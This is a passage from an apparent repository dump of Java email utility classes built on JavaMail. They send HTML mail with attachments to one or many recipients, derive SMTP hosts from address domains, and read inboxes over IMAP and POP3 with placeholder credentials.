    "content": "package com.jun.plugin.base.email.javamail;\n\nimport java.util.List;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.FileDataSource;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\n\npublic class MailUtil {\n\t\n\t/**   \n\t * 变量名 userName: TODO 邮箱用户名\n\t */   \n\tprivate String userName;\n\t\n\t/**   \n\t * 变量名 password: TODO 邮箱地址\n\t */   \n\tprivate String password;\n\t\n\t/**   \n\t * 变量名 smtpHost: TODO 邮箱smtp地址，发送地址\n\t */   \n\tprivate String smtpHost;\n\t\n\t/**   \n\t * 变量名 targetAddress: TODO 目标邮箱地址\n\t */   \n\tprivate String targetAddress;\n\t\n\t/**\n\t *  发送单邮件\n\t * @param userName\n\t * @param password\n\t * @param targetAddress\n\t * @param mimeDTO\n\t * @return\n\t */\n\tpublic  static boolean sendEmail(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,false,null);\n\t}\n\t/**\n\t * 发送单邮件(附件)\n\t * @param userName\n\t * @param password\n\t * @param targetAddress\n\t * @param mimeDTO\n\t * @param filepath        文件本地绝对路径\n\t * @return\n\t */\n\tpublic  static boolean sendEmailByFile(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO,List<String> filepath){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,true,filepath);\n\t}\n\t/**\n\t * 群发邮件 \n\t * @param userName\n\t * @param password\n\t * @param targetAddress   多个邮件发送地址，以,分隔\n\t * @param mimeDTO\n\t * @return\n\t */\n\tpublic  static boolean sendGroupEmail(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,true,null);\n\t}\n\t/**\n\t * 群发邮件 (附件)\n\t * @param userName\n\t * @param password\n\t * @param targetAddress 多个邮件发送地址，以,分隔\n\t * @param mimeDTO\n\t * @param filepath      文件本地绝对路径\n\t * @return\n\t */\n\tpublic  static boolean sendGroupEmailByFile(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO,List<String> filepath){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,true,filepath);\n\t}\n\t\n\t\n\t\n\t/**\n\t * 邮件发送基础方法\n\t * @param userName\n\t * @param password\n\t * @param targetAddress\n\t * @param mimeDTO\n\t * @param isGroup\n\t * @param filepath\n\t * @return\n\t */\n\tprivate static boolean publicsendEmail(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO,boolean isGroup,List<String> filepath){\n\t\tProperties props = makeMailProperties(userName);\n\t\tString hostname=SMTPUtil.SimpleMailSender(userName);\n\t\tSession session = Session.getInstance(props, new PopupAuthenticator(userName, password));\n\t\tsession.setDebug(true);\n\t\ttry {\n\t\t\tTransport ts = session.getTransport();\n\t\t\tts.connect(hostname,userName,password);\n\t\t\tMessage message =!isGroup?createEmail(session,userName,targetAddress,mimeDTO)\n\t\t\t\t\t:createEmailByGroupAndFile(session,userName,\n\t\t\t\t\t\t\ttargetAddress,mimeDTO,filepath==null?null:filepath);\n\t\t\tts.sendMessage(message,message.getAllRecipients());\n\t\t\tts.close();\n\t\t} catch (Exception mex) {\n\t\t\tmex.printStackTrace();\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\t\n\t\n\t\n\t\n\t/**\n\t * 创建邮件信息\n\t * @param userName\n\t * @return\n\t */\n\tprivate static Properties makeMailProperties(String userName){\n\t\tProperties props = new Properties();\n\t\tString hostname=SMTPUtil.SimpleMailSender(userName);\n\t\tprops.put(\"mail.smtp.host\", hostname);\n\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");\n\t\tprops.setProperty(\"mail.transport.protocol\", \"smtp\");\n\t\tif(hostname.indexOf(\".qq.com\")!=-1){\n\t\t\tprops.setProperty(\"mail.smtp.socketFactory.port\", \"465\");\n\t\t\tprops.setProperty(\"mail.smtp.socketFactory.class\", \"javax.net.ssl.SSLSocketFactory\");\n\t\t}\n\t\treturn props;\n\t}\n\t\n\t\n\t\n\t/**\n\t * 创建邮件\n\t * @author Wujun\n\t * Create_time:2015年10月17日 下午7:45:57\n\t * description:\n\t */\n\tprivate static Message createEmail(Session session,String userName,String regMail,MimeMessageDTO mimeDTO){\n\t\tMimeMessage message = new MimeMessage(session);\n\t\ttry {\n\t\t\tmessage.setFrom(new InternetAddress(userName));\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, new InternetAddress(regMail));\n\t\t\tmessage.setSubject(mimeDTO.getSubject());\n\t\t\tmessage.setContent(mimeDTO.getText(),\"text/html;charset=UTF-8\");\n\t\t\tmessage.saveChanges();\n\t\t} catch (MessagingException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn message;\n\t}\n\t/**\n\t * 创建群发带附件\n\t * @return\n\t */\n\tprivate static Message createEmailByGroupAndFile(Session session,String userName,\n\t\t\t\t\t\t\t\tString regMail,MimeMessageDTO mimeDTO,List<String> filepath){\n\t\tMimeMessage message = new MimeMessage(session);\n\t\ttry {\n\t\t\tmessage.setFrom(new InternetAddress(userName));\n\t\t\t  // 创建收件人列表  \n\t        if (regMail != null && regMail.trim().length() > 0) {  \n\t            String[] arr = regMail.split(\",\");  \n\t            int receiverCount = arr.length; \n\t            if (receiverCount > 0) {\n\t            \tInternetAddress[] address = new InternetAddress[receiverCount];  \n\t                for (int i = 0; i < receiverCount; i++) {  \n\t                    address[i] = new InternetAddress(arr[i]);  \n\t                }  \n\t                message.setRecipients(Message.RecipientType.TO, address);\n\t            }\n\t        }\n\t     // 后面的BodyPart将加入到此处创建的Multipart中  \n            Multipart mp = new MimeMultipart();  \n\t     // 附件操作  \n            if (filepath != null && filepath.size() > 0) {  \n                for (String filename : filepath) {  \n                    MimeBodyPart mbp = new MimeBodyPart();  \n                    // 得到数据源  \n                    FileDataSource fds = new FileDataSource(filename);  \n                    // 得到附件本身并至入BodyPart  \n                    mbp.setDataHandler(new DataHandler(fds));  \n                    // 得到文件名同样至入BodyPart  \n                    mbp.setFileName(fds.getName());  \n                    mp.addBodyPart(mbp);  \n                }  \n                MimeBodyPart mbp = new MimeBodyPart();  \n                mbp.setText(mimeDTO.getText());  \n                mp.addBodyPart(mbp);  \n                // 移走集合中的所有元素  \n                filepath.clear();  \n                // Multipart加入到信件  \n                message.setContent(mp);  \n            } else {  \n                // 设置邮件正文  \n//            \tmessage.setText(mimeDTO.getText());  \n            \tmessage.setContent(mimeDTO.getText(),\"text/html;charset=UTF-8\");\n            } \n\t\t\tmessage.setSubject(mimeDTO.getSubject());\n\t\t\tmessage.saveChanges();\n\t\t} catch (MessagingException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn message;\n\t}\n\t\n\t\n\t\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\tpublic String getSmtpHost() {\n\t\treturn smtpHost;\n\t}\n\tpublic void setSmtpHost(String smtpHost) {\n\t\tthis.smtpHost = smtpHost;\n\t}\n\tpublic String getTargetAddress() {\n\t\treturn targetAddress;\n\t}\n\tpublic void setTargetAddress(String targetAddress) {\n\t\tthis.targetAddress = targetAddress;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail/MimeMessageDTO.java",
    "content": "package com.jun.plugin.base.email.javamail;\n\nimport java.util.Date;\n\n\n/**\n * 上午9:29:51\n * \n * @version V1.0\n */\npublic class MimeMessageDTO {\n\t/**   \n\t * 变量名 subject: TODO 邮件标题\n\t */   \n\tprivate String subject;\n\t\n\t/**   \n\t * 变量名 sentDate: TODO 邮件日期\n\t */   \n\tprivate Date sentDate;\n\t\n\t/**   \n\t * 变量名 text: TODO 邮件内容\n\t */   \n\tprivate String text;\n\n\t/** \n\t * 方法名: initMimeMessage \n\t * 功能描述: TODO 初始化\n\t * @param: @param subject\n\t * @param: @param date\n\t * @param: @param text\n\t * @param: @return  \n\t * @return: MimeMessageDTO \n\t */\n\tpublic MimeMessageDTO initMimeMessage(String subject, Date date, String text) {\n\t\treturn new MimeMessageDTO(subject, date, text);\n\t}\n\t\n\tpublic MimeMessageDTO() {\n\t\tsuper();\n\t}\n\n\tpublic MimeMessageDTO(String subject, Date sentDate, String text) {\n\t\tsuper();\n\t\tthis.subject = subject;\n\t\tthis.sentDate = sentDate;\n\t\tthis.text = text;\n\t}\n\n\tpublic String getSubject() {\n\t\treturn subject;\n\t}\n\n\tpublic void setSubject(String subject) {\n\t\tthis.subject = subject;\n\t}\n\n\tpublic Date getSentDate() {\n\t\treturn sentDate;\n\t}\n\n\tpublic void setSentDate(Date sentDate) {\n\t\tthis.sentDate = sentDate;\n\t}\n\n\tpublic String getText() {\n\t\treturn text;\n\t}\n\n\tpublic void setText(String text) {\n\t\tthis.text = text;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail/PopupAuthenticator.java",
    "content": "package com.jun.plugin.base.email.javamail;\n\nimport javax.mail.Authenticator;\nimport javax.mail.PasswordAuthentication;\n\n/**\n * 类名称:  PopupAuthenticator\n * 功能描述: TODO\n * 创建人:  GavinNie 邮件 账号 密码\n * 创建时间: 2014-12-4 上午11:07:10 \n * @version  V1.0  \n */\npublic class PopupAuthenticator extends Authenticator {\n\tprivate String username = null;\n\tprivate String password = null;\n\n\tpublic PopupAuthenticator(String user, String pass) {\n\t\tthis.username = user;\n\t\tthis.password = pass;\n\t}\n\tprotected PasswordAuthentication getPasswordAuthentication() {\n\t\treturn new PasswordAuthentication(username, password);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail/SMTPUtil.java",
    "content": "package com.jun.plugin.base.email.javamail;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\n\n/**\n * 类名称:  SMTPUtil\n * 功能描述: TODO 得到smtp\n * 创建人:  GavinNie \n * 创建时间: 2014-12-4 上午10:36:00 \n * @version  V1.0  \n */\npublic class SMTPUtil {\n\t/** \n\t * 方法名: SimpleMailSender \n\t * 功能描述: TODO 简单的smtp生成，大部分是有用的，建议自己建立smtp库....\n\t * @param: @param userName\n\t * @param: @return  \n\t * @return: String \n\t */\n\tpublic static String SimpleMailSender(String userName) {\n\t\treturn  \"smtp.\" + getHost(userName);\n\t}\n\n\t\n\t/**   \n\t* @Title: getSMTPAddress    \n\t* @Description: TODO (这里用一句话描述这个方法的作用)    \n\t* @param @param userName\n\t* @param @return    设定文件    \n\t* @return String    返回类型    \n\t* @throws    \n\t*/\n\tpublic static String getSMTPAddress(String userName){\n\t\tString smtpAddress = null;\n\t\tProperties props = new Properties();\n\t\ttry {\n\t\t\tInputStream in = SMTPUtil.class.getResourceAsStream(\"/smtp.properties\");\n\t\t\tprops.load(in);\n\t\t\t//读取properties的内容\n\t\t\tsmtpAddress = props.getProperty(getHost(userName).trim());\n\t\t\t//没有获取到\n\t\t\tif(smtpAddress == null){\n\t\t\t\t//生成简单得\n\t\t\t\tsmtpAddress = SimpleMailSender(userName);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn smtpAddress;\n\t}\n\t\n\t\n\t/**   \n\t* @Title: getHost    \n\t* @Description: TODO 得到 邮箱@后面得字符    \n\t* @param @param userName\n\t* @param @return    设定文件    \n\t* @return String    返回类型    \n\t* @throws    \n\t*/\n\tpublic static String getHost(String userName){\n\t\treturn userName.split(\"@\")[1];\n\t}\n\t\n//\tpublic static void main(String[] args) {\n//\t\tString s = getSMTPAddress(\"nie_zw@qq.com\");\n//\t\tSystem.out.println(s);\n//\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail2/JavaMail.java",
    "content": "package com.jun.plugin.base.email.javamail2;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeUtility;\n\npublic class JavaMail {\n\t/**\n\t * * Message对象将存储我们实际发送的电子邮件信息， *\n\t * Message对象被作为一个MimeMessage对象来创建并且需要知道应当选择哪一个JavaMail session。\n\t */\n\tprivate MimeMessage message;\n\t/**\n\t * * Session类代表JavaMail中的一个邮件会话。 *\n\t * 每一个基于JavaMail的应用程序至少有一个Session（可以有任意多的Session）。 * *\n\t * JavaMail需要Properties来创建一个session对象。 * 寻找\"mail.smtp.host\" 属性值就是发送邮件的主机 *\n\t * 寻找\"mail.smtp.auth\" 身份验证，目前免费邮件服务器都需要这一项\n\t */\n\tprivate Session session;\n\t/***\n\t * * 邮件是既可以被发送也可以被受到。JavaMail使用了两个不同的类来完成这两个功能：Transport 和 Store。 *\n\t * Transport 是用来发送信息的，而Store用来收信。对于这的教程我们只需要用到Transport对象。\n\t */\n\tprivate Transport transport;\n\tprivate String mailHost = \"\";\n\tprivate String sender_username = \"\";\n\tprivate String sender_password = \"\";\n\tprivate Properties properties = new Properties();\n\n\t/* * 初始化方法 */\n\tpublic JavaMail(boolean debug) {\n\t\tInputStream in = JavaMail.class.getResourceAsStream(\"MailServer.properties\");\n\t\ttry {\n\t\t\tproperties.load(in);\n\t\t\tthis.mailHost = properties.getProperty(\"mail.smtp.host\");\n\t\t\tthis.sender_username = properties.getProperty(\"mail.sender.username\");\n\t\t\tthis.sender_password = properties.getProperty(\"mail.sender.password\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tsession = Session.getInstance(properties);\n\t\tsession.setDebug(debug);\n\t\t// 开启后有调试信息 message = new MimeMessage(session);\n\t}\n\n\t/**\n\t * * 发送邮件 * * @param subject * 邮件主题 * @param sendHtml * 邮件内容 * @param\n\t * receiveUser * 收件人地址\n\t */\n\tpublic void doSendHtmlEmail(String subject, String sendHtml, String receiveUser) {\n\t\ttry {\n\t\t\t// 发件人 //\n\t\t\t// InternetAddress from = new InternetAddress(sender_username);\n\t\t\t// 下面这个是设置发送人的Nick name\n\t\t\tInternetAddress from = new InternetAddress(MimeUtility.encodeWord(\"幻影\") + \" < sender_username>\");\n\t\t\tmessage.setFrom(from);\n\t\t\t// 收件人\n\t\t\tInternetAddress to = new InternetAddress(receiveUser);\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, to);// 还可以有CC、BCC //\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 邮件主题\n\t\t\tmessage.setSubject(subject);\n\t\t\tString content = sendHtml.toString();\n\t\t\t// 邮件内容,也可以使纯文本\"text/plain\"\n\t\t\tmessage.setContent(content, \"text/html;charset=UTF-8\");\n\t\t\t// 保存邮件\n\t\t\tmessage.saveChanges();\n\t\t\ttransport = session.getTransport(\"smtp\"); // smtp验证，就是你用来发邮件的邮箱用户名密码\n\t\t\ttransport.connect(mailHost, sender_username, sender_password); // 发送\n\t\t\ttransport.sendMessage(message, message.getAllRecipients()); //\n\t\t\tSystem.out.println(\"send success!\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (transport != null) {\n\t\t\t\ttry {\n\t\t\t\t\ttransport.close();\n\t\t\t\t} catch (MessagingException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tJavaMail se = new JavaMail(false);\n\t\tse.doSendHtmlEmail(\"邮件主题\", \"邮件内容\", \"xxx@XX.com\");\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail2/JavaMailWithAttachment.java",
    "content": "package com.jun.plugin.base.email.javamail2;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Base64;\nimport java.util.Properties;\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.BodyPart;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\npublic class JavaMailWithAttachment {\n\tprivate MimeMessage message;\n\tprivate Session session;\n\tprivate Transport transport;\n\tprivate String mailHost = \"\";\n\tprivate String sender_username = \"\";\n\tprivate String sender_password = \"\";\n\tprivate Properties properties = new Properties();\n\n\t/* * 初始化方法 */public JavaMailWithAttachment(boolean debug) {\n\t\tInputStream in = JavaMailWithAttachment.class.getResourceAsStream(\"MailServer.properties\");\n\t\ttry {\n\t\t\tproperties.load(in);\n\t\t\tthis.mailHost = properties.getProperty(\"mail.smtp.host\");\n\t\t\tthis.sender_username = properties.getProperty(\"mail.sender.username\");\n\t\t\tthis.sender_password = properties.getProperty(\"mail.sender.password\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tsession = Session.getInstance(properties);\n\t\tsession.setDebug(debug);//\n\t\t// 开启后有调试信息 C\n\t\tmessage = new MimeMessage(session);\n\t}\n\n\t/**\n\t * * 发送邮件 * * @param subject * 邮件主题 * @param sendHtml * 邮件内容 * @param\n\t * receiveUser * 收件人地址 * @param attachment * 附件\n\t */\n\tpublic void doSendHtmlEmail(String subject, String sendHtml, String receiveUser, File attachment) {\n\t\ttry { //\n\t\t\t// 发件人\n\t\t\tInternetAddress from = new InternetAddress(sender_username);\n\t\t\tmessage.setFrom(from); //\n\t\t\t// 收件人\n\t\t\tInternetAddress to = new InternetAddress(receiveUser);\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, to); //\n\t\t\t// 邮件主题\n\t\t\tmessage.setSubject(subject); //\n\t\t\t// 向multipart对象中添加邮件的各个部分内容，包括文本内容和附件\n\t\t\tMultipart multipart = new MimeMultipart(); //\n\t\t\t// 添加邮件正文\n\t\t\tBodyPart contentPart = new MimeBodyPart();\n\t\t\tcontentPart.setContent(sendHtml, \"text/html;charset=UTF-8\");\n\t\t\tmultipart.addBodyPart(contentPart); //\n\t\t\t// 添加附件的内容\n\t\t\tif (attachment != null) {\n\t\t\t\tBodyPart attachmentBodyPart = new MimeBodyPart();\n\t\t\t\tDataSource source = new FileDataSource(attachment);\n\t\t\t\tattachmentBodyPart.setDataHandler(new DataHandler(source)); //\n\t\t\t\t// 网上流传的解决文件名乱码的方法，其实用MimeUtility.encodeWord就可以很方便的搞定 //\n\t\t\t\t// 这里很重要，通过下面的Base64编码的转换可以保证你的中文附件标题名在发送时不会变成乱码 //\n\t\t\t\t// 使用Java标准库的Base64编码器替代已废弃的sun.misc.BASE64Encoder\n//\t\t\t\tmessageBodyPart.setFileName(\"=?GBK?B?\" + Base64.getEncoder().encodeToString(attachment.getName().getBytes()) + \"?=\"); //\n\t\t\t\tmessage.setFileName(\"=?GBK?B?\" + Base64.getEncoder().encodeToString(attachment.getName().getBytes()) + \"?=\"); //\n\t\t\t\t// MimeUtility.encodeWord可以避免文件名乱码\n\t\t\t\tattachmentBodyPart.setFileName(MimeUtility.encodeWord(attachment.getName()));\n\t\t\t\tmultipart.addBodyPart(attachmentBodyPart);\n\t\t\t} //\n\t\t\t// 将multipart对象放到message中\n\t\t\tmessage.setContent(multipart); //\n\t\t\t// 保存邮件\n\t\t\tmessage.saveChanges();\n\t\t\ttransport = session.getTransport(\"smtp\"); //\n\t\t\t// smtp验证，就是你用来发邮件的邮箱用户名密码\n\t\t\ttransport.connect(mailHost, sender_username, sender_password); //\n\t\t\t// 发送\n\t\t\ttransport.sendMessage(message, message.getAllRecipients());\n\t\t\tSystem.out.println(\"send success!\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (transport != null) {\n\t\t\t\ttry {\n\t\t\t\t\ttransport.close();\n\t\t\t\t} catch (MessagingException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tJavaMailWithAttachment se = new JavaMailWithAttachment(true);\n\t\tFile affix = new File(\"c:\\\\测试-test.txt\");\n\t\tse.doSendHtmlEmail(\"邮件主题\", \"邮件内容\", \"xxx@XXX.com\", affix);//\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail2/mail_imap.java",
    "content": "package com.jun.plugin.base.email.javamail2;\n\nimport java.util.Properties;\n\nimport javax.mail.Flags;\nimport javax.mail.Folder;\nimport javax.mail.Message;\nimport javax.mail.Session;\n\nimport com.sun.mail.imap.IMAPFolder;\nimport com.sun.mail.imap.IMAPStore;\n\npublic class mail_imap {\n\t/**\n\t * 使用imap协议获取未读邮件数\n\t * \n\t * @author Wujun\n\t * \n\t */\n\tpublic static void main(String[] args) throws Exception {\n\t\tString user = \"username@sohu.com\";// 邮箱的用户名\n\t\tString password = \"password\"; // 邮箱的密码\n\t\tProperties prop = System.getProperties();\n\t\tprop.put(\"mail.store.protocol\", \"imap\");\n\t\tprop.put(\"mail.imap.host\", \"imap.sohu.com\");\n\t\tSession session = Session.getInstance(prop);\n\t\tint total = 0;\n\t\tIMAPStore store = (IMAPStore) session.getStore(\"imap\"); // 使用imap会话机制，连接服务器\n\t\tstore.connect(user, password);\n\t\tIMAPFolder folder = (IMAPFolder) store.getFolder(\"INBOX\"); // 收件箱\n\t\tfolder.open(Folder.READ_WRITE);\n\t\t// 获取总邮件数\n\t\ttotal = folder.getMessageCount();\n\t\tSystem.out.println(\"-----------------共有邮件：\" + total + \" 封--------------\");\n\t\t// 得到收件箱文件夹信息，获取邮件列表\n\t\tSystem.out.println(\"未读邮件数：\" + folder.getUnreadMessageCount());\n\t\tMessage[] messages = folder.getMessages();\n\t\tint messageNumber = 0;\n\t\tfor (Message message : messages) {\n\t\t\tSystem.out.println(\"发送时间：\" + message.getSentDate());\n\t\t\tSystem.out.println(\"主题：\" + message.getSubject());\n\t\t\tSystem.out.println(\"内容：\" + message.getContent());\n\t\t\tFlags flags = message.getFlags();\n\t\t\tif (flags.contains(Flags.Flag.SEEN))\n\t\t\t\tSystem.out.println(\"这是一封已读邮件\");\n\t\t\telse {\n\t\t\t\tSystem.out.println(\"未读邮件\");\n\t\t\t}\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\t// 每封邮件都有一个MessageNumber，可以通过邮件的MessageNumber在收件箱里面取得该邮件\n\t\t\tmessageNumber = message.getMessageNumber();\n\t\t}\n\t\tMessage message = folder.getMessage(messageNumber);\n\t\tSystem.out.println(message.getContent() + message.getContentType());\n\t\t// 释放资源\n\t\tif (folder != null)\n\t\t\tfolder.close(true);\n\t\tif (store != null)\n\t\t\tstore.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail2/mail_pop3.java",
    "content": "package com.jun.plugin.base.email.javamail2;\n\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Enumeration;\nimport java.util.Properties;\n\nimport javax.mail.BodyPart;\nimport javax.mail.Folder;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Store;\nimport javax.mail.internet.MimeMultipart;\n\npublic class mail_pop3 {\n\n\tpublic static void main(String args[]) throws MessagingException, IOException {\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.store.protocol\", \"pop3\");\n\t\tprops.setProperty(\"mail.pop3.host\", \"pop3.sohu.com\");\n\t\tSession session = Session.getDefaultInstance(props);\n\t\tStore store = session.getStore(\"pop3\");\n\t\tstore.connect(\"username@sohu.com\", \"password\");\n\t\tFolder folder = store.getFolder(\"INBOX\");\n\t\tfolder.open(Folder.READ_WRITE);\n\t\t// 全部邮件数\n\t\tint messageCount = folder.getMessageCount();\n\t\tSystem.out.println(messageCount);\n\t\tMessage[] messages = folder.getMessages();\n\t\tfor (int i = 0; i < messages.length; i++) {\n\t\t\tMessage message = messages[i];\n\t\t\tSystem.out.println(message.getSubject());\n\t\t\t// 删除邮件\n\t\t\t// message.setFlag(Flags.Flag.DELETED, true);\n\t\t\t// 标记为已读\n\t\t\t// message.setFlag(Flags.Flag.SEEN, true);\n\t\t\t// pop3没有判断邮件是否为已读的功能，要使用Imap才可以\n\t\t\t/*\n\t\t\t * Flags flags = message.getFlags(); if\n\t\t\t * (flags.contains(Flags.Flag.SEEN)) System.out.println(\"这是一封已读邮件\");\n\t\t\t * else { System.out.println(\"未读邮件\");\n\t\t\t * message.setFlag(Flags.Flag.SEEN, true); }\n\t\t\t */\n\t\t\tSystem.out.println(\"发送时间：\" + message.getSentDate());\n\t\t\tSystem.out.println(\"主题：\" + message.getSubject());\n\t\t\tSystem.out.println(\"内容：\" + message.getContent());\n\t\t\t// 获取所有的Header，头信息\n\t\t\tEnumeration headers = message.getAllHeaders();\n\t\t\tSystem.out.println(\"----------------------allHeaders-----------------------------\");\n\t\t\t/*\n\t\t\t * while (headers.hasMoreElements()) { Header header =\n\t\t\t * (Header)headers.nextElement();\n\t\t\t * System.out.println(header.getName()+\" ======= \"+header.getValue()\n\t\t\t * ); }\n\t\t\t */\n\t\t\t// 解析邮件内容\n\t\t\tObject content = message.getContent();\n\t\t\tif (content instanceof MimeMultipart) {\n\t\t\t\tMimeMultipart multipart = (MimeMultipart) content;\n\t\t\t\tparseMultipart(multipart);\n\t\t\t}\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t}\n\t\tfolder.close(true);\n\t\tstore.close();\n\t}\n\n\t/**\n\t * 对复杂邮件的解析\n\t * \n\t * @param multipart\n\t * @throws MessagingException\n\t * @throws IOException\n\t */\n\tpublic static void parseMultipart(Multipart multipart) throws MessagingException, IOException {\n\t\tint count = multipart.getCount();\n\t\tSystem.out.println(\"couont =  \" + count);\n\t\tfor (int idx = 0; idx < count; idx++) {\n\t\t\tBodyPart bodyPart = multipart.getBodyPart(idx);\n\t\t\tSystem.out.println(bodyPart.getContentType());\n\t\t\tif (bodyPart.isMimeType(\"text/plain\")) {\n\t\t\t\tSystem.out.println(\"plain.................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"text/html\")) {\n\t\t\t\tSystem.out.println(\"html...................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"multipart/*\")) {\n\t\t\t\tMultipart mpart = (Multipart) bodyPart.getContent();\n\t\t\t\tparseMultipart(mpart);\n\t\t\t} else if (bodyPart.isMimeType(\"application/octet-stream\")) {\n\t\t\t\tString disposition = bodyPart.getDisposition();\n\t\t\t\tSystem.out.println(disposition);\n\t\t\t\tif (disposition.equalsIgnoreCase(BodyPart.ATTACHMENT)) {\n\t\t\t\t\tString fileName = bodyPart.getFileName();\n\t\t\t\t\tInputStream is = bodyPart.getInputStream();\n\t\t\t\t\tcopy(is, new FileOutputStream(\"D:\\\\\" + fileName));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 文件拷贝，在用户进行附件下载的时候，可以把附件的InputStream传给用户进行下载\n\t * \n\t * @param is\n\t * @param os\n\t * @throws IOException\n\t */\n\tpublic static void copy(InputStream is, OutputStream os) throws IOException {\n\t\tbyte[] bytes = new byte[1024];\n\t\tint len = 0;\n\t\twhile ((len = is.read(bytes)) != -1) {\n\t\t\tos.write(bytes, 0, len);\n\t\t}\n\t\tif (os != null)\n\t\t\tos.close();\n\t\tif (is != null)\n\t\t\tis.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail2/sendMail.java",
    "content": "package com.jun.plugin.base.email.javamail2;\n\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Enumeration;\nimport java.util.Properties;\nimport javax.mail.BodyPart;\nimport javax.mail.Folder;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Store;\nimport javax.mail.internet.MimeMultipart;\n\npublic class sendMail {\n\tpublic static void main(String args[]) throws MessagingException, IOException {\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.store.protocol\", \"pop3\");\n\t\tprops.setProperty(\"mail.pop3.host\", \"pop3.sohu.com\");\n\t\tSession session = Session.getDefaultInstance(props);\n\t\tStore store = session.getStore(\"pop3\");\n\t\tstore.connect(\"username@sohu.com\", \"password\");\n\t\tFolder folder = store.getFolder(\"INBOX\");\n\t\tfolder.open(Folder.READ_WRITE);\n\t\t// 全部邮件数\n\t\tint messageCount = folder.getMessageCount();\n\t\tSystem.out.println(messageCount);\n\t\tMessage[] messages = folder.getMessages();\n\t\tfor (int i = 0; i < messages.length; i++) 